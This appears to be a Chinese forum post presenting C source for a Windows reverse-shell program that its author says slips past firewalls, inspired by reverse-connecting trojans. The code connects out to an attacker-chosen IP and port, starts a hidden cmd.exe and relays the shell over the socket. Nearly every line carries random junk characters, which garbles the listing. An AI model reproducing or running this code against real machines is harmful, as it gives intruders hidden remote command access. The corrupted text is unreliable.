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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 oS 7q#`  
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/* ============================== NTASrh  
Rebound port in Windows NT o9(:m   
By wind,2006/7 =Bcwd7+  
===============================*/ X!ZUR^  
#include mHrt)0\_  
#include }xcA`w3u2?  
vOy;=0$  
#pragma comment(lib,"wsock32.lib") w6zB uW  
W&#Ps6)8  
void OutputShell(); Azv j(j  
SOCKET sClient; lQj3# !1}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; as=Z_a:0N  
vnwS &;-k~  
void main(int argc,char **argv) Au<NUc 2  
{ L'B= =#  
WSADATA stWsaData; s_S[iW`l=  
int nRet; ?9'Ukw` g  
SOCKADDR_IN stSaiClient,stSaiServer; lqh+yX%*  
h}r.(MVt  
if(argc != 3) z2*>5 c%  
{ hg[ob+"  
printf("Useage:\n\rRebound DestIP DestPort\n"); _; /onM   
return; ! eXDN  
} 2XI%z4\)!  
M:K5r7Q!yv  
WSAStartup(MAKEWORD(2,2),&stWsaData); `1k0wT(  
V<:scLm#OF  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^h #0e:7<  
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stSaiClient.sin_family = AF_INET; Qau\6p>^  
stSaiClient.sin_port = htons(0); V| 9<*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g:<2yT  
:'p+Ql~c  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;%wQnhg  
{ P(AcDG6K  
printf("Bind Socket Failed!\n"); FbO\#p s  
return; s\&qvL1D  
} Cn+'!?!d,  
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stSaiServer.sin_family = AF_INET; T6_LiB @  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bit@Kv1<C  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6j uNn}  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q|T9 tc->  
{ MoAZ!cF8  
printf("Connect Error!"); 93I.Wp_{  
return; R;D|To!  
} -aj) _.d  
OutputShell(); ^q{=mf`  
} Ujb7uho  
=VXxQ\{  
void OutputShell() DVC<P}/  
{ L{)*evBL  
char szBuff[1024]; |Iq#Q3w  
SECURITY_ATTRIBUTES stSecurityAttributes; xn1=@0 a  
OSVERSIONINFO stOsversionInfo; XNZW J  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; nG B jxhl  
STARTUPINFO stStartupInfo; *Y"j 0Yob  
char *szShell; H!6nIS9yxt  
PROCESS_INFORMATION stProcessInformation; [&_c.ti  
unsigned long lBytesRead; PO1|l-v<Yq  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3/d`s0O  
#@qd.,]2  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @x u/&pbI  
stSecurityAttributes.lpSecurityDescriptor = 0; 6KpG,%2L#  
stSecurityAttributes.bInheritHandle = TRUE; \9FWH}|  
w]-,X`  
xNLvK:@0p  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )wFr%wNe  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bi =IIVlH  
T~Z7kc'  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2p6`@8*34  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rq,ST:  
stStartupInfo.wShowWindow = SW_HIDE; &i/QFO7y}  
stStartupInfo.hStdInput = hReadPipe; 1ig#|v*+  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .WeP]dX%:f  
Xj;\ROBH-  
GetVersionEx(&stOsversionInfo); FXF#v>&  
)U$]J*LI  
switch(stOsversionInfo.dwPlatformId) cbHb!Lbg  
{ (K"8kQLY  
case 1: S zqY@  
szShell = "command.com"; d|~A>YZ  
break; +|SvJ  
default: OI0tgkG  
szShell = "cmd.exe"; VlLc[eVV  
break; |N^z=g P[  
} <kY ||  
"?[7oI}c&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $ 2/T]  
(l~3~n  
send(sClient,szMsg,77,0); Wd0$t    
while(1) y%9Q]7&=  
{ "-tTN  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `/1Zy}cD  
if(lBytesRead) E#cW3\)  
{ xUG:x4Gz+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #"Wh$x%  
send(sClient,szBuff,lBytesRead,0); Nvef+L,v  
} C6"bGA  
else 1|PmZPKq9n  
{ WecJ^{g>r{  
lBytesRead=recv(sClient,szBuff,1024,0); ;~Em,M"o  
if(lBytesRead<=0) break; SdI/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2k^dxk~$V;  
} aD5G0d?u  
} Q I.*6-(  
o`@B*, @  
return; -6()$cl}0  
}
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